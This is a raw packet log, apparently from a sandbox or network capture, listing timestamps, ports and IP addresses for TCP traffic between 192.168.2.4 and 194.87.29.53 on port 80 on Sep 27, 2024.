Sep 27, 2024 18:29:07.692837000 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.692850113 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.692862988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.692874908 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.692907095 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.692953110 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.692964077 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.692975998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.693006992 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.693020105 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.693797112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.693842888 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.693849087 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.693857908 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.693912029 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.693912029 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.693928003 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.693938971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.693949938 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.693975925 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.693998098 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.694010973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694021940 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694031954 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694048882 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.694070101 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.694153070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694164038 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694174051 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694185972 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694196939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694197893 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.694207907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694219112 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.694247961 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.694312096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694324017 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694334984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694354057 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694365025 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.694379091 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.694406033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694407940 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.694417953 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694430113 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694442034 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694453001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694456100 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.694489002 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.694502115 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.694518089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694530010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694540977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694551945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694570065 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.694601059 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.694664001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694674969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694686890 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694699049 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694714069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.694726944 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.694750071 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.694751024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694797993 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.694835901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694848061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694858074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694873095 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694885969 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.694886923 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.694900036 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.694921017 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.694921017 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.695698023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.695741892 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.695751905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.695763111 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.695775986 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.695790052 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.695811987 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.695817947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.695830107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.695846081 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.695861101 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.695875883 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.695884943 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.695959091 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.696001053 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.696264029 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.696274996 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.696285963 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.696315050 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.696330070 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.696393967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.696405888 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.696415901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.696428061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.696435928 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.696458101 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.696486950 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.697052002 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.697063923 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.697082043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.697097063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.697108030 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.697108030 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.697139025 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.697148085 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.697159052 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.697170973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.697181940 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.697196007 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.697207928 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.697217941 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.776520014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.776555061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.776581049 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.776590109 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.776608944 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.776618958 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.776622057 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.776635885 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.776650906 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.776662111 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.776668072 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.776679993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.776690006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.776700974 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.776707888 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.776737928 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.776798010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.776809931 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.776820898 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.776839018 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.776860952 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.776940107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.776952028 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.776962042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.776982069 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.777009964 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.777086020 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777096987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777107954 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777118921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777127028 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.777131081 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777143002 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777153969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777153969 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.777165890 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777183056 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.777194023 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.777219057 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.777368069 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777379036 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777390957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777400970 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777410984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777410984 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.777436018 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.777448893 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.777528048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777539015 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777555943 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777565956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777575970 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.777600050 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.777620077 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.777661085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777672052 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777683020 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777693987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777702093 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.777705908 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777714968 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.777719021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777729034 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777731895 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.777760029 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.777770996 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.777947903 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777960062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777970076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777981043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777992010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.777993917 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.778002977 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.778031111 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.778178930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.778203964 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.778213978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.778224945 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.778249979 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.778295040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.778316021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.778326035 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.778337002 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.778356075 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.778414965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.778425932 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.778454065 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.778470039 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.779792070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.779834032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.779834032 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.779849052 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.779875040 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.779887915 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.779911041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.779922962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.779937983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.779949903 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.779959917 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.779975891 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.780005932 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.780025005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.780072927 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.781131983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.781152010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.781161070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.781186104 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.781197071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.781208038 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.781236887 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.781265974 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.781276941 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.781305075 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.781316996 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.781325102 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.781328917 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.781356096 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.781367064 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.781431913 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.781443119 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.781451941 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.781464100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.781471968 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.781483889 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.781506062 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.781543016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.781555891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.781574965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.781584024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.781586885 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.781605005 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.781626940 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.781825066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.781872988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.781892061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.781902075 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.781919003 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.781929970 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.781935930 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.781949997 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.781961918 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.782006979 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.782017946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.782027960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.782049894 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.782069921 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.782795906 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.782846928 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.782847881 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.782860994 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.782891989 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.782903910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.782919884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.782931089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.782942057 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.782952070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.782963037 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.782978058 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.783001900 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.783117056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.783128023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.783138037 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.783149004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.783159971 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.783164978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.783175945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.783179998 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.783186913 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.783201933 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.783217907 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.783240080 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.783596992 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.783644915 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.783657074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.783667088 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.783684015 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.783693075 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.783699989 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.783709049 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.783725977 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.783735037 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.783745050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.783756018 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.783766031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.783783913 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.783796072 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.783802986 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.783824921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.783868074 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.785576105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.785584927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.785628080 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.785633087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.785672903 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.785675049 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.785684109 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.785710096 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.785722971 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.785742998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.785753965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.785763979 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.785773993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.785779953 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.785793066 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.785811901 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.787223101 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.787270069 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.787281036 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.787303925 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.787321091 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.787336111 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.787348032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.787378073 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.787396908 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.787404060 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.787414074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.787442923 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.787453890 CEST	60865	80	192.168.2.4	194.87.29.53
